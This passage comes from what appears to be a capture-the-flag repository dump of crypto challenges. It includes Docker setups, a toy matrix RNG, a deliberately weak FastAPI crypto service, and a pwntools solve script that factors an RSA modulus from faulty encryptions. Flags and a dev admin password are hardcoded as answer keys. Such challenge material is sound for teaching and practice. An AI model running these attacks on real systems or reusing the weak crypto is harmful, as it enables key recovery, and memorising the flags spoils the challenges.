| description: | 17 | A flag has been stolen, destroyed and buried underground in a random location. 18 | System.Random was used, so it should be impossible to recover the flag... right? 19 | attachments: 20 | - fileName: babyrng.tar.gz 21 | downloadUrl: /handouts/babyrng.tar.gz 22 | -------------------------------------------------------------------------------- /crypto/curved-mvm/challenge-handout: -------------------------------------------------------------------------------- 1 | challenge-src -------------------------------------------------------------------------------- /crypto/curved-mvm/challenge-solution/server.py: -------------------------------------------------------------------------------- 1 | ../challenge-src/server.py -------------------------------------------------------------------------------- /crypto/curved-mvm/challenge-src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12-alpine AS builder 2 | 3 | RUN apk update --no-cache && apk upgrade --no-cache && apk add socat gmp --no-cache 4 | 5 | RUN apk add gcc gmp-dev musl-dev --no-cache && pip install --target=/app fastecdsa 6 | 7 | FROM python:3.12-alpine 8 | 9 | RUN apk update --no-cache && apk upgrade --no-cache && apk add socat gmp --no-cache 10 | 11 | COPY --from=builder /app /app 12 | 13 | COPY fast.py /app 14 | 15 | WORKDIR /app 16 | 17 | ENTRYPOINT socat tcp-l:1337,fork,reuseaddr exec:"python3 /app/fast.py" 18 | -------------------------------------------------------------------------------- /crypto/fastcrypto/challenge-handout/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.18) 2 | project(nttmul) 3 | 4 | find_package(Python 3.12 5 | REQUIRED COMPONENTS Interpreter Development.Module 6 | OPTIONAL_COMPONENTS Development.SABIModule) 7 | 8 | add_subdirectory(nanobind) 9 | nanobind_add_module( 10 | nttmul 11 | # STABLE_ABI 12 | # NB_STATIC 13 | nttmul.cpp 14 | ) 15 | 16 | # install(TARGETS nttmul LIBRARY DESTINATION .) 17 | -------------------------------------------------------------------------------- /crypto/fastcrypto/challenge-handout/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | cmake -S . -B build 3 | cmake --build build 4 | cp build/nttmul*.so . 5 | -------------------------------------------------------------------------------- /crypto/fastcrypto/challenge-solution/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import long_to_bytes as ltb 2 | from math import gcd 3 | from pwn import * 4 | 5 | if args.REMOTE: 6 | conn = remote('127.0.0.1', 1337) 7 | else: 8 | conn = process(['python3', 'chall.py']) 9 | 10 | conn.recvline() 11 | N = int(conn.recvline().split(b' = ')[1]) 12 | e = 0x10001 13 | 14 | # This solution script has about a ~0.006% chance of failing 15 | ctr = 0 16 | while True: 17 | ctr += 1 18 | conn.recvuntil(b': ') 19 | conn.sendline(b'2') 20 | data = int(conn.recvline().split(b' = ')[1]) 21 | enc = int(conn.recvline().split(b' = ')[1]) 22 | correct = pow(data, e, N) 23 | if enc == correct: 24 | continue 25 | p = gcd(enc - correct, N) 26 | if p != 1 and p != N: # p == N has about a ~0.006% chance of happening 27 | break 28 | 29 | print(f'{ctr} encryption queries') 30 | 31 | q = N // p 32 | phi = (p - 1) * (q - 1) 33 | d = pow(e, -1, phi) 34 | conn.recvuntil(b': ') 35 | conn.sendline(b'1') 36 | enc = int(conn.recvline().split(b' = ')[1]) 37 | dec = pow(enc, d, N) 38 | conn.sendline(str(dec).encode()) 39 | 40 | conn.recvuntil(b' = ') 41 | enc = int(conn.recvline()) 42 | flag = pow(enc, d, N) 43 | print(ltb(flag)) 44 | -------------------------------------------------------------------------------- /crypto/fastcrypto/challenge-src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.18) 2 | project(nttmul) 3 | 4 | find_package(Python 3.12 5 | REQUIRED COMPONENTS Interpreter Development.Module 6 | OPTIONAL_COMPONENTS Development.SABIModule) 7 | 8 | add_subdirectory(nanobind) 9 | nanobind_add_module( 10 | nttmul 11 | # STABLE_ABI 12 | # NB_STATIC 13 | nttmul.cpp 14 | ) 15 | 16 | # install(TARGETS nttmul LIBRARY DESTINATION .) 17 | -------------------------------------------------------------------------------- /crypto/fastcrypto/challenge-src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12-alpine 2 | 3 | WORKDIR /app 4 | 5 | RUN pip3 install pycryptodome 6 | RUN apk update --no-cache && apk upgrade --no-cache && apk add socat cmake make git build-base --no-cache 7 | RUN git clone https://github.com/wjakob/nanobind && cd nanobind && git checkout 0272db4cfd611902f8cdc534c545973642c1627f && git reset --hard && git submodule update --init --recursive 8 | 9 | COPY SECRET.py /app 10 | COPY chall.py /app 11 | COPY Makefile /app 12 | COPY CMakeLists.txt /app 13 | COPY nttmul.cpp /app 14 | COPY nttmul*.so /app 15 | 16 | RUN make 17 | 18 | ENTRYPOINT socat tcp-l:1337,fork,reuseaddr exec:/app/chall.py 19 | -------------------------------------------------------------------------------- /crypto/fastcrypto/challenge-src/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | cmake -S . -B build 3 | cmake --build build 4 | cp build/nttmul*.so . 5 | -------------------------------------------------------------------------------- /crypto/fastcrypto/challenge-src/SECRET.py: -------------------------------------------------------------------------------- 1 | FLAG = b'x3{so_l0ng_and_th4nks_for_all_the_NTT_43274987298472398}' 2 | -------------------------------------------------------------------------------- /crypto/man_vs_matrix/challenge-handout: -------------------------------------------------------------------------------- 1 | challenge-src -------------------------------------------------------------------------------- /crypto/man_vs_matrix/challenge-src/challenge.py: -------------------------------------------------------------------------------- 1 | from sage.all import * 2 | from Crypto.Util.number import bytes_to_long 3 | 4 | class RNG: 5 | 6 | def __init__(self, seed): 7 | self.p = next_prime(2**24) 8 | self.F = GF(self.p) 9 | self.M = matrix(self.F, 3,3, [bytes_to_long(seed[i:i+3]) for i in range(0, len(seed), 3)]) 10 | self.state = vector(self.F, map(ord, "Mvm")) 11 | self.gen = self.F(2) 12 | 13 | def get_random_num(self): 14 | out = self.M * self.state 15 | 16 | for i in range(len(self.state)): 17 | self.state[i] = self.gen**self.state[i] 18 | 19 | return out * self.state 20 | 21 | flag = b"MVM{???????????????????????????}" 22 | seed = flag[4:-1] 23 | 24 | rng = RNG(seed) 25 | samples = [] 26 | 27 | for i in range(9): 28 | samples.append(rng.get_random_num()) 29 | 30 | print(f"{samples = }") 31 | # samples = [6192533, 82371, 86024, 4218430, 12259879, 16442850, 6736271, 7418630, 15483781] 32 | -------------------------------------------------------------------------------- /crypto/man_vs_matrix/challenge.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: berg.norelect.ch/v1 3 | kind: Challenge 4 | metadata: 5 | name: man-vs-matrix 6 | namespace: berg 7 | spec: 8 | categories: 9 | - mvm 10 | - crypto 11 | difficulty: easy 12 | author: alex_hcsc 13 | flag: MVM{l1n34r_fuNcT10n5_4r3_my_f4v} 14 | flagFormat: MVM{...} 15 | description: | 16 | I've just built an RNG algorithm from scratch. Can you break it? 17 | attachments: 18 | - fileName: man_vs_matrix.tar.gz 19 | downloadUrl: /handouts/man_vs_matrix.tar.gz 20 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-handout/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-handout/api/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12-slim 2 | 3 | ENV PYTHONUNBUFFERED=1 \ 4 | POETRY_VIRTUALENVS_CREATE=false 5 | 6 | WORKDIR /app 7 | 8 | COPY pyproject.toml poetry.lock ./ 9 | 10 | RUN pip install --no-cache-dir poetry \ 11 | && poetry config virtualenvs.create false \ 12 | && poetry install --only main --no-interaction --no-ansi --no-root \ 13 | && apt update \ 14 | && apt install -y --no-install-recommends wait-for-it \ 15 | && rm -rf /var/lib/apt/lists/* 16 | 17 | 18 | COPY . . 19 | 20 | EXPOSE 8000 21 | 22 | CMD ["fastapi", "run", "./mvmcryption/app.py"] 23 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/crypto/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/crypto/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/db/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | from mvmcryption.environ import getenv 4 | 5 | from .db import connect 6 | from .users import Users 7 | 8 | ADMIN_PASSWORD = getenv("ADMIN_PASSWORD") 9 | 10 | TABLE_QUERY = """ 11 | CREATE TABLE IF NOT EXISTS users ( 12 | id INTEGER PRIMARY KEY, 13 | username VARCHAR(50) NOT NULL UNIQUE, 14 | email VARCHAR(100) NOT NULL UNIQUE, 15 | password VARCHAR(100) NOT NULL 16 | ); 17 | """ 18 | 19 | 20 | def initialize() -> None: 21 | with connect() as conn: 22 | conn.executescript(TABLE_QUERY) 23 | try: 24 | Users(conn).create( 25 | username="admin", 26 | email="admin@this-company-luckily-does-not-exist.mvm", 27 | password=ADMIN_PASSWORD, 28 | ) 29 | except Exception as e: # maybe it already exists 30 | print(e) 31 | 32 | 33 | __all__ = [ 34 | "Users", 35 | "initialize", 36 | ] 37 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/environ.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | def getenv(key: str) -> str: 5 | """Get environment variable and raise an error if it is unset.""" 6 | if val := os.getenv(key): 7 | return val 8 | msg = "ENV variable %s is required!" 9 | raise OSError(msg % key) 10 | 11 | 12 | IS_DEV = os.getenv("ENV") == "DEV" 13 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/resp.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | from fastapi import HTTPException, status 4 | 5 | PERMISSION_DENIED = HTTPException( 6 | status_code=status.HTTP_403_FORBIDDEN, 7 | detail="Permission denied.", 8 | ) 9 | 10 | 11 | def not_found(model: object) -> HTTPException: 12 | return HTTPException( 13 | status_code=status.HTTP_404_NOT_FOUND, 14 | detail=f"{model.__name__} not found.", 15 | ) 16 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/routers/__init__.py: -------------------------------------------------------------------------------- 1 | from .auth import auth_router as auth 2 | from .crypto import crypto_router as crypto 3 | from .users import users_router as users 4 | 5 | __all__ = [ 6 | "auth", 7 | "crypto", 8 | "users", 9 | ] 10 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/utils.py: -------------------------------------------------------------------------------- 1 | from base64 import urlsafe_b64decode, urlsafe_b64encode 2 | 3 | 4 | def encode(content: bytes | str) -> str: 5 | def _encode(): 6 | if isinstance(content, str): 7 | return urlsafe_b64encode(content.encode()).decode() 8 | return urlsafe_b64encode(content).decode() 9 | 10 | return _encode().replace("=", "") 11 | 12 | 13 | def decode(content: str | bytes) -> bytes: 14 | rem = len(content) % 4 15 | 16 | if rem > 0: 17 | try: 18 | content += b"=" * (4 - rem) 19 | except Exception: 20 | content += "=" * (4 - rem) 21 | 22 | if isinstance(content, str): 23 | return urlsafe_b64decode(content.encode()) 24 | return urlsafe_b64decode(content) 25 | 26 | 27 | def chunk(stuff: bytes): 28 | """Chunk stuff into 16 byte blocks.""" 29 | 30 | assert len(stuff) 31 | assert len(stuff) % 16 == 0 32 | blocks = [] 33 | for i in range(0, len(stuff), 16): 34 | blocks.append(stuff[i : i + 16]) 35 | return blocks 36 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-handout/api/pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "mvmcryption" 3 | version = "0.0.0" 4 | description = "much secure" 5 | authors = ["xtea418"] 6 | readme = "README.md" 7 | 8 | [tool.poetry.dependencies] 9 | python = "^3.12" 10 | pycryptodome = "^3.21.0" 11 | pydantic = "^2.10.2" 12 | fastapi = {extras = ["standard"], version = "^0.115.5"} 13 | argon2-cffi = "^23.1.0" 14 | fastecdsa = "^3.0.0" 15 | pwntools = "^4.14.0" 16 | 17 | 18 | [tool.poetry.group.dev.dependencies] 19 | ruff = "^0.9.2" 20 | pytest = "^8.3.4" 21 | 22 | [build-system] 23 | requires = ["poetry-core"] 24 | build-backend = "poetry.core.masonry.api" 25 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-handout/api/tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-1/challenge-handout/api/tests/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-handout/api/tests/test_cipher.py: -------------------------------------------------------------------------------- 1 | from random import getrandbits 2 | 3 | import pytest 4 | from Crypto.Util.number import long_to_bytes 5 | from mvmcryption.crypto.cipher import SCBCCipher 6 | 7 | 8 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 9 | @pytest.mark.parametrize("d", [1337, 895]) 10 | def test_scbccipher(msg: bytes, d: int): 11 | key = long_to_bytes(d, 16) 12 | ciph = SCBCCipher(key) 13 | 14 | iv = long_to_bytes(getrandbits(128), 16) 15 | ct = ciph.encrypt(msg, iv) 16 | 17 | assert ct 18 | assert msg == ciph.decrypt(ct, iv) 19 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-handout/api/tests/test_ecdsa.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | from mvmcryption.crypto.ecdsa import ECDSA, decode_signature, encode_signature 3 | 4 | 5 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 6 | @pytest.mark.parametrize("d", [1337, 895]) 7 | def test_ecdsa(msg: bytes, d: int): 8 | ecdsa = ECDSA(d) 9 | sig = ecdsa.sign(msg) 10 | 11 | assert ecdsa.verify(sig, msg) 12 | 13 | 14 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 15 | @pytest.mark.parametrize("d", [1337, 895]) 16 | def test_ecdsa_signature_encoding_decoding(msg: bytes, d: int): 17 | ecdsa = ECDSA(d) 18 | sig = ecdsa.sign(msg) 19 | encoded_sig = encode_signature(sig) 20 | assert ecdsa.verify(decode_signature(encoded_sig.split(".")), msg) 21 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-handout/compose.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | # local only! 3 | 4 | services: 5 | api: 6 | build: 7 | context: ./api 8 | ports: 9 | - "8000:8000" 10 | environment: 11 | - DB_PATH=/tmp/database.db 12 | - ADMIN_PASSWORD=somenotbrutablepassword 13 | - FLAG=MVM{wh0444444_f4k3_fl4g_g0_brrrrrr} 14 | - ENV=DEV 15 | command: ["fastapi", "dev", "./mvmcryption/app.py", "--host", "0.0.0.0"] 16 | volumes: 17 | - ./api:/app 18 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-solution/solve.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | rm -rf tmp 4 | 5 | cp -r ../challenge-src/api tmp 6 | cp solve.py tmp 7 | 8 | cd tmp && git clone https://github.com/jvdsn/crypto-attacks/ ./cryptoattacks 9 | 10 | python3 ./solve.py 11 | 12 | cd .. 13 | 14 | rm -rf tmp -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-src/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-src/api/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12-slim 2 | 3 | ENV PYTHONUNBUFFERED=1 \ 4 | POETRY_VIRTUALENVS_CREATE=false 5 | 6 | WORKDIR /app 7 | 8 | COPY pyproject.toml poetry.lock ./ 9 | 10 | RUN pip install --no-cache-dir poetry \ 11 | && poetry config virtualenvs.create false \ 12 | && poetry install --only main --no-interaction --no-ansi --no-root \ 13 | && apt update \ 14 | && apt install -y --no-install-recommends wait-for-it \ 15 | && rm -rf /var/lib/apt/lists/* 16 | 17 | 18 | COPY . . 19 | 20 | EXPOSE 8000 21 | 22 | CMD ["fastapi", "run", "./mvmcryption/app.py"] 23 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/crypto/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/crypto/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/db/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | from mvmcryption.environ import getenv 4 | 5 | from .db import connect 6 | from .users import Users 7 | 8 | ADMIN_PASSWORD = getenv("ADMIN_PASSWORD") 9 | 10 | TABLE_QUERY = """ 11 | CREATE TABLE IF NOT EXISTS users ( 12 | id INTEGER PRIMARY KEY, 13 | username VARCHAR(50) NOT NULL UNIQUE, 14 | email VARCHAR(100) NOT NULL UNIQUE, 15 | password VARCHAR(100) NOT NULL 16 | ); 17 | """ 18 | 19 | 20 | def initialize() -> None: 21 | with connect() as conn: 22 | conn.executescript(TABLE_QUERY) 23 | try: 24 | Users(conn).create( 25 | username="admin", 26 | email="admin@this-company-luckily-does-not-exist.mvm", 27 | password=ADMIN_PASSWORD, 28 | ) 29 | except Exception as e: # maybe it already exists 30 | print(e) 31 | 32 | 33 | __all__ = [ 34 | "Users", 35 | "initialize", 36 | ] 37 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/environ.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | def getenv(key: str) -> str: 5 | """Get environment variable and raise an error if it is unset.""" 6 | if val := os.getenv(key): 7 | return val 8 | msg = "ENV variable %s is required!" 9 | raise OSError(msg % key) 10 | 11 | 12 | IS_DEV = os.getenv("ENV") == "DEV" 13 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/resp.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | from fastapi import HTTPException, status 4 | 5 | PERMISSION_DENIED = HTTPException( 6 | status_code=status.HTTP_403_FORBIDDEN, 7 | detail="Permission denied.", 8 | ) 9 | 10 | 11 | def not_found(model: object) -> HTTPException: 12 | return HTTPException( 13 | status_code=status.HTTP_404_NOT_FOUND, 14 | detail=f"{model.__name__} not found.", 15 | ) 16 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/routers/__init__.py: -------------------------------------------------------------------------------- 1 | from .auth import auth_router as auth 2 | from .crypto import crypto_router as crypto 3 | from .users import users_router as users 4 | 5 | __all__ = [ 6 | "auth", 7 | "crypto", 8 | "users", 9 | ] 10 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/utils.py: -------------------------------------------------------------------------------- 1 | from base64 import urlsafe_b64decode, urlsafe_b64encode 2 | 3 | 4 | def encode(content: bytes | str) -> str: 5 | def _encode(): 6 | if isinstance(content, str): 7 | return urlsafe_b64encode(content.encode()).decode() 8 | return urlsafe_b64encode(content).decode() 9 | 10 | return _encode().replace("=", "") 11 | 12 | 13 | def decode(content: str | bytes) -> bytes: 14 | rem = len(content) % 4 15 | 16 | if rem > 0: 17 | try: 18 | content += b"=" * (4 - rem) 19 | except Exception: 20 | content += "=" * (4 - rem) 21 | 22 | if isinstance(content, str): 23 | return urlsafe_b64decode(content.encode()) 24 | return urlsafe_b64decode(content) 25 | 26 | 27 | def chunk(stuff: bytes): 28 | """Chunk stuff into 16 byte blocks.""" 29 | 30 | assert len(stuff) 31 | assert len(stuff) % 16 == 0 32 | blocks = [] 33 | for i in range(0, len(stuff), 16): 34 | blocks.append(stuff[i : i + 16]) 35 | return blocks 36 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-src/api/pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "mvmcryption" 3 | version = "0.0.0" 4 | description = "much secure" 5 | authors = ["xtea418"] 6 | readme = "README.md" 7 | 8 | [tool.poetry.dependencies] 9 | python = "^3.12" 10 | pycryptodome = "^3.21.0" 11 | pydantic = "^2.10.2" 12 | fastapi = {extras = ["standard"], version = "^0.115.5"} 13 | argon2-cffi = "^23.1.0" 14 | fastecdsa = "^3.0.0" 15 | pwntools = "^4.14.0" 16 | 17 | 18 | [tool.poetry.group.dev.dependencies] 19 | ruff = "^0.9.2" 20 | pytest = "^8.3.4" 21 | 22 | [build-system] 23 | requires = ["poetry-core"] 24 | build-backend = "poetry.core.masonry.api" 25 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-src/api/tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-1/challenge-src/api/tests/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-src/api/tests/test_cipher.py: -------------------------------------------------------------------------------- 1 | from random import getrandbits 2 | 3 | import pytest 4 | from Crypto.Util.number import long_to_bytes 5 | from mvmcryption.crypto.cipher import SCBCCipher 6 | 7 | 8 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 9 | @pytest.mark.parametrize("d", [1337, 895]) 10 | def test_scbccipher(msg: bytes, d: int): 11 | key = long_to_bytes(d, 16) 12 | ciph = SCBCCipher(key) 13 | 14 | iv = long_to_bytes(getrandbits(128), 16) 15 | ct = ciph.encrypt(msg, iv) 16 | 17 | assert ct 18 | assert msg == ciph.decrypt(ct, iv) 19 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-src/api/tests/test_ecdsa.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | from mvmcryption.crypto.ecdsa import ECDSA, decode_signature, encode_signature 3 | 4 | 5 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 6 | @pytest.mark.parametrize("d", [1337, 895]) 7 | def test_ecdsa(msg: bytes, d: int): 8 | ecdsa = ECDSA(d) 9 | sig = ecdsa.sign(msg) 10 | 11 | assert ecdsa.verify(sig, msg) 12 | 13 | 14 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 15 | @pytest.mark.parametrize("d", [1337, 895]) 16 | def test_ecdsa_signature_encoding_decoding(msg: bytes, d: int): 17 | ecdsa = ECDSA(d) 18 | sig = ecdsa.sign(msg) 19 | encoded_sig = encode_signature(sig) 20 | assert ecdsa.verify(decode_signature(encoded_sig.split(".")), msg) 21 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-1/challenge-src/compose.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | # local only! 3 | 4 | services: 5 | api: 6 | build: 7 | context: ./api 8 | ports: 9 | - "8000:8000" 10 | environment: 11 | - DB_PATH=/tmp/database.db 12 | - ADMIN_PASSWORD=somenotbrutablepassword 13 | - FLAG=MVM{wh0444444_f4k3_fl4g_g0_brrrrrr} 14 | - ENV=DEV 15 | command: ["fastapi", "dev", "./mvmcryption/app.py", "--host", "0.0.0.0"] 16 | volumes: 17 | - ./api:/app 18 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-handout/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-handout/api/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12-slim 2 | 3 | ENV PYTHONUNBUFFERED=1 \ 4 | POETRY_VIRTUALENVS_CREATE=false 5 | 6 | WORKDIR /app 7 | 8 | COPY pyproject.toml poetry.lock ./ 9 | 10 | RUN pip install --no-cache-dir poetry \ 11 | && poetry config virtualenvs.create false \ 12 | && poetry install --only main --no-interaction --no-ansi --no-root \ 13 | && apt update \ 14 | && apt install -y --no-install-recommends wait-for-it \ 15 | && rm -rf /var/lib/apt/lists/* 16 | 17 | 18 | COPY . . 19 | 20 | EXPOSE 8000 21 | 22 | CMD ["fastapi", "run", "./mvmcryption/app.py"] 23 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/crypto/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/crypto/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/db/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | from mvmcryption.environ import getenv 4 | 5 | from .db import connect 6 | from .users import Users 7 | 8 | ADMIN_PASSWORD = getenv("ADMIN_PASSWORD") 9 | 10 | TABLE_QUERY = """ 11 | CREATE TABLE IF NOT EXISTS users ( 12 | id INTEGER PRIMARY KEY, 13 | username VARCHAR(50) NOT NULL UNIQUE, 14 | email VARCHAR(100) NOT NULL UNIQUE, 15 | password VARCHAR(100) NOT NULL 16 | ); 17 | """ 18 | 19 | 20 | def initialize() -> None: 21 | with connect() as conn: 22 | conn.executescript(TABLE_QUERY) 23 | try: 24 | Users(conn).create( 25 | username="admin", 26 | email="admin@this-company-luckily-does-not-exist.mvm", 27 | password=ADMIN_PASSWORD, 28 | ) 29 | except Exception as e: # maybe it already exists 30 | print(e) 31 | 32 | 33 | __all__ = [ 34 | "Users", 35 | "initialize", 36 | ] 37 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/environ.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | def getenv(key: str) -> str: 5 | """Get environment variable and raise an error if it is unset.""" 6 | if val := os.getenv(key): 7 | return val 8 | msg = "ENV variable %s is required!" 9 | raise OSError(msg % key) 10 | 11 | 12 | IS_DEV = os.getenv("ENV") == "DEV" 13 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/resp.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | from fastapi import HTTPException, status 4 | 5 | PERMISSION_DENIED = HTTPException( 6 | status_code=status.HTTP_403_FORBIDDEN, 7 | detail="Permission denied.", 8 | ) 9 | 10 | 11 | def not_found(model: object) -> HTTPException: 12 | return HTTPException( 13 | status_code=status.HTTP_404_NOT_FOUND, 14 | detail=f"{model.__name__} not found.", 15 | ) 16 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/routers/__init__.py: -------------------------------------------------------------------------------- 1 | from .auth import auth_router as auth 2 | from .crypto import crypto_router as crypto 3 | from .users import users_router as users 4 | 5 | __all__ = [ 6 | "auth", 7 | "crypto", 8 | "users", 9 | ] 10 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/utils.py: -------------------------------------------------------------------------------- 1 | from base64 import urlsafe_b64decode, urlsafe_b64encode 2 | 3 | 4 | def encode(content: bytes | str) -> str: 5 | def _encode(): 6 | if isinstance(content, str): 7 | return urlsafe_b64encode(content.encode()).decode() 8 | return urlsafe_b64encode(content).decode() 9 | 10 | return _encode().replace("=", "") 11 | 12 | 13 | def decode(content: str | bytes) -> bytes: 14 | rem = len(content) % 4 15 | 16 | if rem > 0: 17 | try: 18 | content += b"=" * (4 - rem) 19 | except Exception: 20 | content += "=" * (4 - rem) 21 | 22 | if isinstance(content, str): 23 | return urlsafe_b64decode(content.encode()) 24 | return urlsafe_b64decode(content) 25 | 26 | 27 | def chunk(stuff: bytes): 28 | """Chunk stuff into 16 byte blocks.""" 29 | 30 | assert len(stuff) 31 | assert len(stuff) % 16 == 0 32 | blocks = [] 33 | for i in range(0, len(stuff), 16): 34 | blocks.append(stuff[i : i + 16]) 35 | return blocks 36 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-handout/api/pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "mvmcryption" 3 | version = "0.0.0" 4 | description = "much secure" 5 | authors = ["xtea418"] 6 | readme = "README.md" 7 | 8 | [tool.poetry.dependencies] 9 | python = "^3.12" 10 | pycryptodome = "^3.21.0" 11 | pydantic = "^2.10.2" 12 | fastapi = {extras = ["standard"], version = "^0.115.5"} 13 | argon2-cffi = "^23.1.0" 14 | fastecdsa = "^3.0.0" 15 | pwntools = "^4.14.0" 16 | 17 | 18 | [tool.poetry.group.dev.dependencies] 19 | ruff = "^0.9.2" 20 | pytest = "^8.3.4" 21 